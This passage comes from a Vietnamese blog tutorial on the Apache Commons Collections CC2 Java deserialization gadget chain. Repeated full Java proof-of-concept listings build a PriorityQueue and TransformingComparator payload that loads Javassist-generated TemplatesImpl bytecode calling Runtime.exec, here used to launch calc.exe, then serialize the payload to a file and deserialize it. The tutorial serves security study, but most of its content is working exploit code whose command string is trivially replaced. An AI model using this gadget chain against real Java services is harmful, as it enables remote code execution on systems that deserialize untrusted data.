add thứ 2, phương thức add gọi đến offer –&gt; siftUp –&gt; siftUpUsingComparator –&gt; Comparator.compare. </p><p>Để không thực hiện cái này, ở hàm siftUp nó check Comparator nếu Comparator bằng null thì nó sẽ không thực hiện Comparator.compare. Do đó chúng có thể thực hiện set Comparator sau add giá trị vào priorityQueue. </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//templates.newTransformer();</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="comment">//invokerTransformer.transform(templates);</span></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(invokerTransformer);</span><br><span class="line">        <span class="comment">//transformingComparator.compare(null, null);</span></span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br><span class="line">        priorityQueue.add(templates);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> priorityQueue.getClass().getDeclaredField(<span class="string">&quot;comparator&quot;</span>);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(priorityQueue, <span class="literal">null</span>);</span><br><span class="line">        priorityQueue.add(templates);</span><br><span class="line"></span><br><span class="line">        serialize(priorityQueue);</span><br><span class="line">        <span class="comment">//unserialize(&quot;ser.bin&quot;);</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tuy nhiên nếu không set comparator khi gọi đến siftUpComparable nó sẽ xuất hiện lỗi <code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl cannot be cast to java.lang.Comparable</code>. Do đó chúng ta phải nghĩ cách khác.</p><p>Add trước rồi set sau, ta có full change:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//templates.newTransformer();</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="comment">//invokerTransformer.transform(templates);</span></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(invokerTransformer);</span><br><span class="line">        <span class="comment">//transformingComparator.compare(null, null);</span></span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>();</span><br><span class="line">        priorityQueue.add(<span class="number">0</span>);</span><br><span class="line">        priorityQueue.add(<span class="number">1</span>);</span><br><span class="line"><span class="comment">//        priorityQueue.add(templates);</span></span><br><span class="line"></span><br><span class="line">        <span class="type">Field</span> <span class="variable">comparator</span> <span class="operator">=</span> priorityQueue.getClass().getDeclaredField(<span class="string">&quot;comparator&quot;</span>);</span><br><span class="line">        comparator.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        comparator.set(priorityQueue, transformingComparator);</span><br><span class="line"></span><br><span class="line">        Field queue=priorityQueue.getClass().getDeclaredField(<span class="string">&quot;queue&quot;</span>);</span><br><span class="line">        queue.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        queue.set(priorityQueue,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates,templates&#125;);</span><br><span class="line">        <span class="comment">//Sau khi set, queue[0], queue[1] trở thành TemplateImpl</span></span><br><span class="line"></span><br><span class="line">        serialize(priorityQueue);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Su-dung-ChainedTransformer"><a href="#Su-dung-ChainedTransformer" class="headerlink" title="Sử dụng ChainedTransformer"></a>Sử dụng ChainedTransformer</h3><p>Về ChainedTransformer mình đã giải thích ở CC1-TransformedMap, các bạn có thể xem lại ở bài viết đó.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//templates.newTransformer();</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>&lt;&gt;(</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>&lt;&gt;(templates),</span><br><span class="line">                invokerTransformer</span><br><span class="line">        );</span><br><span class="line">        <span class="comment">//invokerTransformer.transform(templates);</span></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>( chainedTransformer);</span><br><span class="line">        transformingComparator.compare(<span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tuy nhiên, chúng ta gặp một vấn đề là máy tính được bật lên trước khi serialize object, dẫn đến việc dừng chương trình như đoạn mã dưới đây.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//templates.newTransformer();</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>&lt;&gt;(</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>&lt;&gt;(templates),</span><br><span class="line">                invokerTransformer</span><br><span class="line">        );</span><br><span class="line">        <span class="comment">//invokerTransformer.transform(templates);</span></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>( chainedTransformer);</span><br><span class="line">        <span class="comment">//transformingComparator.compare(null, null);</span></span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br><span class="line">        priorityQueue.add(<span class="number">1</span>);</span><br><span class="line">        priorityQueue.add(<span class="number">2</span>);</span><br><span class="line">        serialize(priorityQueue);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Để giải quyết vấn đề này, chúng ta sẽ set giá trị vào sau khi Queue đã add 